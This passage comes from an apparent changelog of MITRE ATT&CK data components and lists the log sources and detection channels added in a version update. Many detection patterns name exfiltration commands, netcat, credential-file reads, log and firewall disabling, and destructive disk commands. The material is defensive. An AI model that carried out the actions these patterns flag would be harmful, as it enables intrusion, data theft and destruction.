'WinEventLog:PowerShell', 'channel': 'Execution of Microsoft script to enumerate custom forms in Outlook mailbox'}, {'name': 'm365:messagetrace', 'channel': 'Inbound email triggers execution of mailbox-stored custom form'}, {'name': 'auditd:EXECVE', 'channel': "Use of mv or cp to rename files with '.' prefix"}, {'name': 'macos:unifiedlog', 'channel': 'Execution of chflags hidden or SetFile -a V'}, {'name': 'esxi:shell', 'channel': 'interactive shell'}, {'name': 'networkdevice:cli', 'channel': 'CLI command'}, {'name': 'macos:unifiedlog', 'channel': 'log stream'}, {'name': 'esxi:vmkernel', 'channel': '/var/log/vmkernel.log'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls to locale, timedatectl, or cat /etc/timezone'}, {'name': 'macos:unifiedlog', 'channel': 'defaults read -g AppleLocale, systemsetup -gettimezone'}, {'name': 'macos:unifiedlog', 'channel': 'profiles install -type=configuration'}, {'name': 'auditd:SYSCALL', 'channel': 'sleep function usage or loops (nanosleep, usleep) in scripts'}, {'name': 'm365:unified', 'channel': 'Search-Mailbox, Get-MessageTrace, eDiscovery requests'}, {'name': 'EDR:cli', 'channel': 'Command Line Telemetry'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'eventMessage contains "loginwindow" or "pfctl"\''}, {'name': 'networkdevice:syslog', 'channel': 'Command Audit / Configuration Change'}, {'name': 'WinEventLog:Microsoft-Office/OutlookAddinMonitor', 'channel': 'Outlook loading add-in via unexpected load path or non-default profile context'}, {'name': 'macos:unifiedlog', 'channel': 'exec or sudo usage with NOPASSWD context or echo modifying sudoers'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4104'}, {'name': 'WinEventLog:Powershell', 'channel': 'EventCode=4104'}, {'name': 'auditd:EXECVE', 'channel': 'execve: Execution of update-ca-certificates or trust anchor modification commands'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of /usr/bin/security add-trusted-cert or keychain modifications to System.keychain'}, {'name': 'auditd:EXECVE', 'channel': 'gcore, gdb, strings, hexdump execution'}, {'name': 'auditd:SYSCALL', 'channel': 'connect, execve, write'}, {'name': 'esxi:hostd', 'channel': 'command execution'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of auditctl, systemctl stop auditd, or kill -9 auditd'}, {'name': 'macos:syslog', 'channel': 'system.log'}, {'name': 'esxi:hostd', 'channel': '/var/log/hostd.log'}, {'name': 'esxi:shell', 'channel': '/var/log/shell.log'}, {'name': 'docker:daemon', 'channel': 'docker exec or docker run with unexpected command/entrypoint'}, {'name': 'auditd:SYSCALL', 'channel': "execve call including 'nohup' or trailing '&'"}, {'name': 'macos:unifiedlog', 'channel': 'nohup, disown, or osascript execution patterns'}, {'name': 'WinEventLog:PowerShell', 'channel': 'CommandLine=copy-item or robocopy from UNC path'}, {'name': 'esxi:shell', 'channel': 'invoked remote scripts (esxcli)'}, {'name': 'auditd:EXECVE', 'channel': 'execution of systemctl with subcommands start, stop, enable, disable'}, {'name': 'networkdevice:cli', 'channel': 'Policy Update'}, {'name': 'auditd:SYSCALL', 'channel': 'None'}, {'name': 'AWS:CloudTrail', 'channel': 'eventName: RunInstances, CreateUser, PutRolePolicy, InvokeCommand'}, {'name': 'gcp:audit', 'channel': 'methodName: setIamPolicy, startInstance, createServiceAccount'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Commands executed within an SSH session where no matching logon/authentication event exists'}, {'name': 'esxi:hostd', 'channel': 'modification of config files or shell command execution'}, {'name': 'kubernetes:audit', 'channel': 'Shell process (e.g., /bin/sh, /bin/bash) spawned in a container without an interactive session attached (i.e., automation anomaly)'}, {'name': 'macos:unifiedlog', 'channel': "Execution of 'profiles install -type=configuration'"}, {'name': 'macos:unifiedlog', 'channel': 'subsystem:com.apple.Terminal'}, {'name': 'networkdevice:syslog', 'channel': 'eventlog'}, {'name': 'esxi:hostd', 'channel': 'shell access or job registration'}, {'name': 'WinEventLog:PowerShell', 'channel': 'PowerShell launched from outlook.exe or triggered without user invocation'}, {'name': 'm365:messagetrace', 'channel': 'Inbound email matches crafted rule trigger pattern tied to persistence logic'}, {'name': 'linus:syslog', 'channel': 'None'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4103,4104'}, {'name': 'linux:syslog', 'channel': 'Unusual outbound transfers from CLI tools like base64, gzip, or netcat'}, {'name': 'macos:unifiedlog', 'channel': 'base64 or curl processes chained within short execution window'}, {'name': 'esxi:shell', 'channel': 'base64 or gzip use within shell session'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Invocation of /usr/bin/defaults write or /usr/bin/plutil modifying plist keys'}, {'name': 'auditd:SYSCALL', 'channel': 'chmod, execve'}, {'name': 'macos:unifiedlog', 'channel': "chmod command with arguments including '+s', 'u+s', or numeric values 4000–6777"}, {'name': 'macos:unifiedlog', 'channel': 'command includes dscl . delete or sysadminctl --deleteUser'}, {'name': 'fs:fsusage', 'channel': 'file system activity monitor'}, {'name': 'networkdevice:cli', 'channel': 'ip ssh pubkey-chain'}, {'name': 'esxi:shell', 'channel': 'scripts or binaries with misleading names'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of GUI-related binaries with suppressed window/display flags'}, {'name': 'linuxsyslog', 'channel': 'nslcd or winbind logs'}, {'name': 'macos:unifiedlog', 'channel': 'DS daemon log entries'}, {'name': 'esxi:hostd', 'channel': 'logline inspection'}, {'name': 'macos:unifiedlog', 'channel': 'diskutil eraseDisk / asr restore with destructive flags'}, {'name': 'networkdevice:cli', 'channel': 'erase flash:, erase startup-config, format disk'}, {'name': 'networkdevice:syslog', 'channel': 'command_exec'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: iptables, nft, firewall-cmd modifications'}, {'name': 'macos:unifiedlog', 'channel': 'pfctl -d, socketfilterfw --setglobalstate off, or modifications to com.apple.alf'}, {'name': 'esxi:hostd', 'channel': 'esxcli network firewall set commands'}, {'name': 'docker:events', 'channel': 'container exec rm|container stop --force'}, {'name': 'esxi:hostd', 'channel': 'event stream'}, {'name': 'networkdevice:cli', 'channel': 'CLI command logs'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4103'}, {'name': 'esxi:shell', 'channel': '/var/log/shell.log entries containing "esxcli system clock get"'}, {'name': 'networkdevice:syslog', 'channel': 'command-exec: CLI commands containing "show clock", "show clock detail", "show timezone" executed by suspicious user/source'}, {'name': 'networkdevice:cli', 'channel': 'cmd: cmd=show clock detail'}, {'name': 'auditd:EXECVE', 'channel': 'curl -X POST, wget --post-data'}, {'name': 'linux:syslog', 'channel': 'sudo chage|grep pam_pwquality|cat /etc/login.defs'}, {'name': 'macos:unifiedlog', 'channel': 'pwpolicy|PasswordPolicy'}, {'name': 'networkdevice:syslog', 'channel': "cmd='show aaa*' OR 'show running-config | include password|aaa' OR 'show aaa common-criteria policy all'"}, {'name': 'networkdevice:syslog', 'channel': 'CLI command audit'}, {'name': 'networkdevice:cli', 'channel': "Execution of commands to load, copy, or replace system images (e.g., 'copy tftp flash', 'boot system')"}, {'name': 'WinEventLog:PowerShell', 'channel': 'Execution of PowerShell script to enumerate or remove malicious Home Page folder config'}, {'name': 'm365:messagetrace', 'channel': 'Inbound email triggering Outlook to auto-access folder tied to malicious Home Page'}, {'name': 'macos:unifiedlog', 'channel': 'Command line contains smbutil view //, mount_smbfs //'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Invocation of scp, rsync, curl, or sftp'}, {'name': 'esxi:hostd', 'channel': 'scp/ssh used to move file across hosts'}, {'name': 'auditd:EXECVE', 'channel': 'command line arguments containing lsblk, fdisk, parted'}, {'name': 'macos:unifiedlog', 'channel': 'log messages related to disk enumeration context or Terminal session'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls modifying local mail filter configuration files'}, {'name': 'esxi:hostd', 'channel': 'None'}, {'name': 'esxi:shell', 'channel': 'None'}, {'name': 'networkdevice:cli', 'channel': 'None'}, {'name': 'linux:syslog', 'channel': 'sudo execution of ffmpeg/gst-launch/v4l2-ctl by non-standard user'}, {'name': 'docker:api', 'channel': 'docker logs access or container inspect commands from non-administrative users'}, {'name': 'esxi:shell', 'channel': 'command IN ("esxcli vm process list", "vim-cmd vmsvc/getallvms")'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: process_name IN ("virsh", "VBoxManage", "qemu-img") AND command IN ("list", "info")'}, {'name': 'esxi:shell', 'channel': 'openssl|tar|dd'}, {'name': 'AWS:CloudTrail', 'channel': 'SSM RunCommand'}, {'name': 'azure:activity', 'channel': 'Intune PowerShell Scripts'}, {'name': 'm365:exchange', 'channel': 'Cmdlet: Get-GlobalAddressList, Get-Recipient'}, {'name': 'networkdevice:cli', 'channel': "Execution of commands like 'show running-config', 'copy running-config', or 'export config'"}, {'name': 'esxi:syslog', 'channel': 'boot logs'}, {'name': 'networkdevice:syslog', 'channel': 'system boot logs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: service stop syslog, systemctl stop rsyslog, kill -9 syslog'}, {'name': 'macos:unifiedlog', 'channel': 'defaults write com.apple.system.logging or logd manipulation'}, {'name': 'esxi:hostd', 'channel': 'esxcli system syslog config set or reload'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: openssl pkcs12, certutil, keytool'}, {'name': 'macos:unifiedlog', 'channel': 'process calling security find-certificate, export, or import'}, {'name': 'networkdevice:cli', 'channel': "Execution of CLI commands altering crypto parameters (e.g., 'crypto key generate rsa modulus 512')"}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Process in container namespace executes curl|wget|bash|sh|python|nc with outbound args'}, {'name': 'm365:exchange', 'channel': 'Get-RoleGroup, Get-DistributionGroup'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of systemctl or service with enable/start parameters'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of cat, less, grep, journalctl targeting log directories (/var/log/)'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of log show, fs_usage, or cat targeting system.log'}, {'name': 'AWS:CloudTrail', 'channel': 'GetLogEvents: High frequency log exports from CloudWatch or equivalent services'}, {'name': 'esxi:shell', 'channel': 'Execution of cat, tail, grep targeting /var/log/vmkernel.log or /var/log/hostd.log'}, {'name': 'esxi:shell', 'channel': 'CLI usage logs'}, {'name': 'macos:syslog', 'channel': '/var/log/system.log'}, {'name': 'macos:unifiedlog', 'channel': 'execution of launchctl load/unload/start commands'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Exchange Cmdlets'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of python, perl, or custom binaries invoking compression libraries'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, USER_CMD'}, {'name': 'auditd:USER_CMD', 'channel': 'USER_CMD'}, {'name': 'esxi:shell', 'channel': 'Command execution trace'}, {'name': 'auditd:SYSCALL', 'channel': 'bash/zsh of base64, tar, gzip, or openssl immediately after file write'}, {'name': 'linux:osquery', 'channel': 'Command-line includes base64 -d or openssl enc -d'}, {'name': 'macos:unifiedlog', 'channel': 'base64 -d or osascript invoked on staged file'}, {'name': 'auditd:EXECVE', 'channel': 'exec: Execution of dd, efibootmgr, or flashrom modifying firmware/boot partitions'}, {'name': 'auditd:EXECVE', 'channel': 'curl -d, wget --post-data'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Processes executing sendmail/postfix with forged headers'}, {'name': 'macos:unifiedlog', 'channel': 'diskutil partitionDisk or eraseVolume with partition scheme modifications'}, {'name': 'networkdevice:cli', 'channel': 'format flash:, format disk, reformat commands'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of tar, gzip, bzip2, xz, zip, or openssl with compression/encryption arguments'}, {'name': 'auditd:PROCTITLE', 'channel': 'proctitle contains chmod, chown, setfacl, or attr commands with suspicious parameters'}, {'name': 'esxi:shell', 'channel': 'shell command execution for chmod, chown, or file permission modification on VMFS or system files'}, {'name': 'networkdevice:Firewall', 'channel': 'Audit trail or CLI/API access indicating commands like no access-list, delete rule-set, clear config'}, {'name': 'auditd:EXECVE', 'channel': 'grep/cat/awk on files with password fields'}, {'name': 'macos:unifiedlog', 'channel': 'grep/cat on files matching credential patterns'}, {'name': 'kubernetes:audit', 'channel': 'process execution involving curl, grep, or awk on secrets'}, {'name': 'AWS:CloudTrail', 'channel': 'command-line execution invoking credential enumeration'}, {'name': 'auditd:SYSCALL', 'channel': 'promiscuous mode transitions (ioctl or ifconfig)'}, {'name': 'fs:fsusage', 'channel': 'access to BPF devices or interface IOCTLs'}, {'name': 'networkdevice:syslog', 'channel': "exec command='monitor capture'"}, {'name': 'WinEventLog:Microsoft-Office-Alerts', 'channel': 'Unexpected DLL or component loaded at Office startup'}, {'name': 'm365:office', 'channel': 'Startup execution includes non-default component'}, {'name': 'macos:unifiedlog', 'channel': 'diskutil eraseDisk/zeroDisk or asr restore with destructive flags'}, {'name': 'networkdevice:cli', 'channel': 'erase flash:, erase nvram:, format disk'}, {'name': 'macos:unifiedlog', 'channel': 'spctl --master-disable, csrutil disable, or defaults write to disable Gatekeeper'}, {'name': 'esxi:shell', 'channel': "esxcli system syslog config set --loghost='' or stopping hostd service"}, {'name': 'networkdevice:syslog', 'channel': 'no logging buffered, no aaa new-model, disable firewall'}, {'name': 'auditd:EXECVE', 'channel': 'git push, curl -X POST'}, {'name': 'linux:cli', 'channel': 'command logging'}, {'name': 'esxi:hostd', 'channel': 'command log'}, {'name': 'networkdevice:cli', 'channel': 'command logs'}, {'name': 'networkdevice:syslog', 'channel': 'interactive shell logging'}, {'name': 'esxi:hostd', 'channel': "Execution of '/bin/vmx' or modifications to '/etc/rc.local.d/local.sh'"}, {'name': 'auditd:SYSCALL', 'channel': 'chattr, rm, shred, dd run on recovery directories or partitions'}, {'name': 'networkdevice:syslog', 'channel': 'command sequence: erase → format → reload'}, {'name': 'macos:unifiedlog', 'channel': 'process: at, job runner'}, {'name': 'macos:osquery', 'channel': 'Interpreter exec with suspicious arguments as above'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of curl or wget writing files to /tmp/* followed by chmod or execution'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of downgraded interpreters such as python2 or forced fallback commands'}, {'name': 'auditd:PROCTITLE', 'channel': 'proctitle contains chmod, chown, chgrp, setfacl, or attr with suspicious parameters (777, 755, +x, -R)'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of gsettings set org.gnome.login-screen disable-user-list true'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of dscl . create with IsHidden=1'}, {'name': 'linux:syslog', 'channel': 'sshd logs'}, {'name': 'esxi:shell', 'channel': 'Shell Access/Command Execution'}, {'name': 'networkdevice:syslog', 'channel': 'CLI Command Logging'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': 'udev rule reload or trigger command executed'}, {'name': 'linux:cli', 'channel': 'Shell history logs'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'processImagePath contains "zip" OR "base64"\''}, {'name': 'networkdevice:cli', 'channel': 'command logging'}, {'name': 'esxi:hostd', 'channel': 'Command Execution'}, {'name': 'macos:osquery', 'channel': 'launchd + process_events'}, {'name': 'esxi:vmkernel', 'channel': 'DCUI shell start, BusyBox activity'}, {'name': 'esxi:hostd', 'channel': 'remote CLI + vim-cmd logging'}, {'name': 'networkdevice:syslog', 'channel': 'CLI Command Audit'}, {'name': 'm365:defender', 'channel': 'Activity Log: Command Invocation'}, {'name': 'WinEventLog:PowerShell', 'channel': 'CmdletName: Get-Recipient, Get-User'}, {'name': 'WinEventLog:PowerShell', 'channel': "Execution of 'Get-WmiObject Win32_Product' or similar PowerShell cmdlets"}, {'name': 'linux:shell', 'channel': 'Manual invocation of software enumeration commands via interactive shell'}, {'name': 'auditd:SYSCALL', 'channel': 'Command line arguments including SPApplicationsDataType'}, {'name': 'AWS:CloudTrail', 'channel': 'ssm:GetCommandInvocation'}, {'name': 'esxi:shell', 'channel': 'esxcli software vib list'}, {'name': 'auditd:EXECVE', 'channel': 'execution of setfattr or getfattr commands'}, {'name': 'macos:unifiedlog', 'channel': 'xattr utility execution with -w or -p flags'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of spoofing tools (e.g., hping3, nping, scapy) sending UDP packets to known amplifier ports'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of tools like cat, grep, or awk on credential files'}, {'name': 'macos:unifiedlog', 'channel': "execution of 'security', 'cat', or 'grep' commands accessing credential storage"}, {'name': 'linux:syslog', 'channel': "CLI access to 'show running-config', 'show password', or 'cat config.txt'"}, {'name': 'auditd:SYSCALL', 'channel': 'execve of curl, rsync, wget with internal knowledge base or IPs'}, {'name': 'esxi:shell', 'channel': '/root/.ash_history'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of systemctl, loginctl, or systemd-inhibit commands related to sleep/hibernate'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4103,4104,4105, 4106'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of xev, xdotool, or input activity emulators'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl load or boot-time plist registration'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of interpreters creating archive-like outputs without calling tar/gzip'}, {'name': 'networkdevice:syslog', 'channel': 'command audit'}, {'name': 'networkdevice:cli', 'channel': 'Interface commands'}, {'name': 'macos:unifiedlog', 'channel': 'dscl -create'}, {'name': 'esxi:vmkernel', 'channel': 'esxcli system account add'}, {'name': 'ebpf:syscalls', 'channel': 'useradd or /etc/passwd modified inside container'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of insmod, modprobe, or rmmod commands by non-standard users or outside expected timeframes'}, {'name': 'macos:unifiedlog', 'channel': 'kextload execution from Terminal or suspicious paths'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Execution of PowerShell without -NoProfile flag'}, {'name': 'auditd:EXECVE', 'channel': 'Process execution of update-ca-certificates or openssl with suspicious arguments'}, {'name': 'macos:unifiedlog', 'channel': 'xattr -d com.apple.quarantine or similar removal commands'}, {'name': 'azure:signinLogs', 'channel': 'OperationName=SetDomainAuthentication OR Update-MsolFederatedDomain'}, {'name': 'linux:syslog', 'channel': 'Sudo or root escalation followed by filesystem mount commands'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4101'}, {'name': 'networkdevice:cli', 'channel': "Execution of privileged commands such as 'copy tftp flash', 'boot system', or 'debug memory'"}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4105'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4106'}, {'name': 'auditd:SYSCALL', 'channel': 'execve syscalls for discovery commands (uname, hostname, id, whoami, ps, netstat, mount) with command-line parameter analysis'}, {'name': 'auditd:PROCTITLE', 'channel': 'process title records containing discovery command sequences and environmental assessment patterns'}, {'name': 'macos:unifiedlog', 'channel': 'Security framework operations including keychain access, cryptographic operations, and certificate validation'}, {'name': 'm365:unified', 'channel': 'Set-Mailbox, New-InboxRule'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'networkdevice:cli', 'channel': "Execution of commands disabling crypto hardware acceleration (e.g., 'no crypto engine enable')"}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of curl, wget, or custom scripts accessing financial endpoints'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of chattr to set +i or +a attributes'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of chflags hidden or setfile -a V'}, {'name': 'esxi:shell', 'channel': 'mv, rename, or chmod commands moving VM files into hidden directories'}, {'name': 'esxi:hostd', 'channel': 'execution + payload hints'}, {'name': 'linux:osquery', 'channel': 'process_events.command_line'}, {'name': 'macos:unifiedlog', 'channel': 'process:spawn, process:exec'}, {'name': 'esxi:vobd', 'channel': 'shell session start'}, {'name': 'networkdevice:cli', 'channel': 'shell command'}, {'name': 'WinEventLog:Microsoft-Office-Alerts', 'channel': 'Office application warning or alert on macro execution from template'}, {'name': 'm365:unified', 'channel': 'Set-Mailbox, Set-MailboxPolicy, Set-TrustedLocation'}, {'name': 'm365:office', 'channel': 'Execution of unsigned macro from template'}, {'name': 'linux:cli', 'channel': 'Terminal Command History'}, {'name': 'macos:unifiedlog', 'channel': 'csrutil disable'}, {'name': 'macos:unifiedlog', 'channel': "log show --predicate 'process == '"}, {'name': 'networkdevice:syslog', 'channel': 'Privilege-level command execution'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of tar, gzip, bzip2, or openssl with output redirection'}, {'name': 'saas:PRMetadata', 'channel': 'Commit message or branch name contains encoded strings or payload indicators'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of launchctl with setenv or bootout targeting TCC.db or AppleScript under Finder context'}, {'name': 'esxi:shell', 'channel': '`esxcli software vib install` with `--force` or `--no-sig-check` from shell history or `shell.log`'}, {'name': 'AWS:CloudTrail', 'channel': 'SendCommand, StartSession, ExecuteCommand: Unexpected AWS Systems Manager command execution targeting EC2 instances'}, {'name': 'esxi:vmkernel', 'channel': 'Unexpected restarts of management agents or shell access'}, {'name': 'auditd:EXECVE', 'channel': 'curl or wget with POST/PUT options'}, {'name': 'networkdevice:syslog', 'channel': 'Detected CLI command to export key material'}, {'name': 'networkdevice:config', 'channel': 'PKI export or certificate manipulation commands'}, {'name': 'macos:unifiedlog', 'channel': 'command execution triggered by emond (e.g., shell, curl, python)'}, {'name': 'esxi:vmkernel', 'channel': 'esxcli, vim-cmd invocation'}, {'name': 'esxi:shell', 'channel': 'CLI session activity'}, {'name': 'auditd:SYSCALL', 'channel': 'execve=/sbin/shutdown or /sbin/reboot'}, {'name': 'esxi:shell', 'channel': 'esxcli system shutdown or reboot invoked'}, {'name': 'networkdevice:syslog', 'channel': 'reload command issued'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4103, 4104'}, {'name': 'auditd:PROCTITLE', 'channel': 'command-line execution patterns for system discovery utilities (uname, hostname, ifconfig, netstat, lsof, ps, mount)'}, {'name': 'esxi:shell', 'channel': 'shell command execution for system discovery (vim-cmd, esxcli, vmware-cmd) targeting VM inventory and host configuration'}, {'name': 'vpxd.log', 'channel': 'VM inventory queries and configuration enumeration through vCenter API calls'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls modifying HISTFILE or HISTCONTROL via unset/export'}, {'name': 'macos:unifiedlog', 'channel': 'Set or unset HIST* variables in shell environment'}, {'name': 'esxi:shell', 'channel': 'unset HISTFILE or HISTFILESIZE modifications'}, {'name': 'networkdevice:cli', 'channel': "Commands like 'no logging' or equivalents that disable session history"}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls to /usr/bin/locale or shell execution of $LANG'}, {'name': 'macos:unifiedlog', 'channel': 'defaults read -g AppleLocale or systemsetup -gettimezone'}, {'name': 'networkdevice:cli', 'channel': "Execution of commands such as 'copy tftp flash', 'boot system ', 'reload'"}, {'name': 'auditd:EXECVE', 'channel': 'curl -T, rclone copy'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of systemctl or service with enable/start/modify'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl load/unload or plist file modification'}, {'name': 'networkdevice:syslog', 'channel': 'syslog facility LOCAL7 or trap messages'}, {'name': 'linux:cli', 'channel': '/home/*/.bash_history'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of lsmod, modinfo, or cat /proc/modules'}, {'name': 'networkdevice:config', 'channel': "Configuration changes referencing 'boot system tftp' or modification of startup-config pointing to external TFTP servers"}, {'name': 'macos:unifiedlog', 'channel': 'dscl . -create'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of commands like `ls -l@`, `xattr -l`, or custom tools interacting with resource forks'}, {'name': 'esxi:vpxd', 'channel': 'vCenter Management'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--73691708-ffb5-4e29-906d-f485f6fa7089
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:11:30.145000+00:002025-10-21 15:14:34.849000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.22.0

[DC0072] Container Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0072', 'external_id': 'DC0072'}]
x_mitre_log_sources[{'name': 'kubernetes:apiserver', 'channel': 'create/exec: Kubernetes API calls to exec into containers or create pods from curl, kubectl, or SDK clients'}, {'name': 'kubernetes:events', 'channel': 'container start/stop activity via Docker, containerd, or CRI-O'}, {'name': 'docker:daemon', 'channel': 'container create/start with privileged flag or host volume mount'}, {'name': 'kubernetes:audit', 'channel': "create: Pod/Container created with image tag 'latest' or mutable tag; imagePullPolicy=Always; noDigest=true"}, {'name': 'systemd:unit', 'channel': "container run with restart policy set to 'always' or 'unless-stopped'"}, {'name': 'docker:events', 'channel': 'created,started: new container from untrusted registry or unexpected entrypoint'}, {'name': 'containerd:events', 'channel': 'create'}, {'name': 'docker:events', 'channel': 'docker run with restart=always or modifying init'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--072ec5a7-00ba-466f-9057-69751a22a967
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:14:30.196000+00:002025-10-21 15:14:37.681000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0091] Container Enumeration

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0091', 'external_id': 'DC0091'}]
x_mitre_log_sources[{'name': 'docker:daemon', 'channel': 'docker ps, docker inspect, or docker images commands'}, {'name': 'AWS:CloudTrail', 'channel': 'DescribeCluster, ListClusters, ListNodegroups'}, {'name': 'containerd:runtime', 'channel': 'e.g., containerd, Docker events'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--072ec5a7-00ba-466f-9057-69751a22a967
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:14:36.677000+00:002025-10-21 15:14:40.609000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0077] Container Start

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0077', 'external_id': 'DC0077'}]
x_mitre_log_sources[{'name': 'docker:events', 'channel': 'exec_create: docker exec events targeting running containers from non-CI sources'}, {'name': 'kubernetes:events', 'channel': 'start: ContainerStarted or Pulling image → Started container'}, {'name': 'containerd:runtime', 'channel': 'CRI CreateContainer/StartContainer with privileged=true OR added capabilities OR host* namespaces'}, {'name': 'docker:events', 'channel': 'start'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--072ec5a7-00ba-466f-9057-69751a22a967
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:14:33.436000+00:002025-10-21 15:14:37.615000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0101] Domain Registration

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0101', 'external_id': 'DC0101'}]
x_mitre_log_sources[{'name': 'Domain Name', 'channel': 'None'}, {'name': 'dns:query', 'channel': 'Excessive lookups for domains with suspicious WHOIS or short TTL values'}, {'name': 'esxi:vmkernel', 'channel': 'DNS lookups resolving to domains with rapid changes in registration metadata'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--dd75f457-8dc0-4a24-9ae5-4b61c33af866
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:16:34.616000+00:002025-10-21 15:14:40.288000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0054] Drive Access

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0054', 'external_id': 'DC0054'}]
x_mitre_log_sources[{'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=9'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write syscalls on /dev/sd* or /dev/nvme*'}, {'name': 'auditd:SYSCALL', 'channel': 'write syscalls to /dev/sd* targeting offset 0'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write syscalls to block devices (/dev/sd*, /dev/nvme*)'}, {'name': 'linux:syslog', 'channel': 'mount/umount or file copy logs'}, {'name': 'fs:fsusage', 'channel': 'open/read/mount operations'}, {'name': 'linux:osquery', 'channel': 'hardware_events'}, {'name': 'macos:osquery', 'channel': 'usb_devices'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--61bbbf27-f7c3-46ba-a6bc-48ae76928065
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:12:42.387000+00:002025-10-21 15:14:38.086000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0042] Drive Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0042', 'external_id': 'DC0042'}]
